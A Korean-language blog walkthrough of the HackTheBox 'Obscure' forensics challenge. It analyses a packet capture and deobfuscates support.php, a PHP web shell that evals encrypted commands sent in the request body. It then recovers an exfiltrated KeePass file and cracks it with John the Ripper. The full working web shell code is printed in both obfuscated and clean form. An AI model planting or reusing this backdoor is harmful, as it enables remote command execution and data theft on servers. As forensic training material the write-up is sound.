워게임/HackTheBox

[HackTheBox] Obscure - 포렌식 / Wireshark / John the Ripper

SecurityMan 2023. 7. 20. 11:00

 

HackTheBox에서 제공하는 

 

HARD 난이도의 포렌식 문제

 

HARD 로 분류되어있긴 하나

 

다른 HARD 난이도 문제들에 비해선 쉬운편이다.

 

반응형

 

문제파일은 다운로드 받으면

 

패킷캡쳐파일과 support.php 가 들어있다.

 

 

패킷캡쳐 파일에는 웹 서버와 통신한 내용이 들이있다.

 

URI가 support.php 인 통신이 있는걸로 보아

 

이 support.php 가 문제 파일로 제공된 파일과 같은 내용인듯 하다.

 

<?php
$V='$k="80e32263";$kh="6f8af44abea0";$kf="351039f4a7b5";$p="0UlYyJHG87EJqEz6";function x($';
$P='++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents(';
$d='t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i';
$B='ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}';
$N=str_replace('FD','','create_function');
$c='"php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@';
$u=str_replace('','',$V.$d.$P.$c.$B);
$x=$N('',$u);$x();
?>

 

support.php 에는 난독화된 내용이 들이었다.

 

그런데 자세히 보면 그렇게 어렵게 난독화되어있지 않다.

 

마지막에 str_replace 하는게 고작이기 때문에

 

수작업으로도 깔끔하게 고칠 수 있다.

 

$k="80e32263";
$kh="6f8af44abea0";
$kf="351039f4a7b5";
$p="0UlYyJHG87EJqEz6";
function x($t,$k){
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	
	for($i=0;$i<$l;){
		for($j=0;($j<$c&&$i<$l);$j++,$i++){
			$o.=$t{$i}^$k{$j};
		}
	}
	return $o;
}

if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
	@ob_start();
	@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
	$o=@ob_get_contents();
	@ob_end_clean();
	$r=@base64_encode(@x(@gzcompress($o),$k));
	print("$p$kh$r$kf");
}

 

위 코드를 보기좋게

 

줄 띄어쓰기 + 들여쓰기 한 모습이다.

 

마지막에 print 하는것을 보면

 

최종적으로 결과를 $r 에 저장하는데,

 

$p, $kh, $kf 와 같은 쓸데없는 값들을 앞뒤로 붙혀서

 

복잡해보이게 만들었다.

 

$r은 $o를 zlib 데이터로 만든 뒤, 

 

$k 와 xor 시키고, Base64 인코딩한 값이다.

 

 

Wireshark 에서 아까봤던

 

support.php 파일을 

 

우클릭 - Follow - HTTP Stream 을 해서 보면

 

응답 패킷(파란색) 부분에 base64 인코딩된 값이 적혀있는것을 볼 수 있다.

 

여기서 앞에있는 0UlYyJHG87EJqEz66f8af44abea0와

 

뒤에있는 351039f4a7b5가 아까봤던 $p, $kh, $kf 들이니 잘라내버리면 된다.

 

 

잘라내면 이런 데이터가 남는데

 

 

해당 데이터를 CyberChef(https://gchq.github.io/CyberChef/) 에서

 

Base64로 디코딩 해주고 

 

$k 와 xor 한 뒤

 

zlib inflate 해주면

 

Output에서 디코딩된 원문을 볼 수 있다.

 

뭔가 ls -al 명령어 수행결과같은게 보인다.

 

아마 웹쉘을 이용해 원격 명령어를 실행시키고, 그 결과를 받은것 같다.

 

 

와이어샤크에서 패킷을 분석하다보면

 

위처럼 유난이 크기가 큰 패킷이 보이는데

 

 

아까와 같은 과정으로 디코딩 해보면

 

pwdb.kdbx 라는 파일을 가져왔다는 사실을 알 수 있다.

 

아래쪽 사진이 pwdb.kdbx 의 원래 hex 값이다.

 

저장 버튼을 누르면

 

pwdb.kdbx 파일을 복원할 수 있다.

 

 

kdbx 파일은 KeePass 라는 프로그램으로 열 수 있다.

 

그런데 pwdb.kdbx는 암호화 되어있기 때문에

 

비밀번호를 입력해야 한다.

 

비밀번호 크랙은 John the Ripper 도구를 사용하면 된다.

 

 

John the Ripper 여러가지 비밀번호를 crack 해주는 기능을 가지고 있다.

 

keepass2john <파일명> > hash 형태로 실행시키고

 

john --wordlist=<rockyou.txt 파일 경로> hash 해주면

 

바로 비밀번호를 찾을 수 있다.

 

비밀번호는 chainsaw 였다.

 

 

keepass 를 실행시키고 비밀번호를 입력해주면

 

 

이렇게 안에 있는 Flag 를 찾을 수 있다.

 

 

상세 내용을 보면 플래그를 찾을 수 있다.

반응형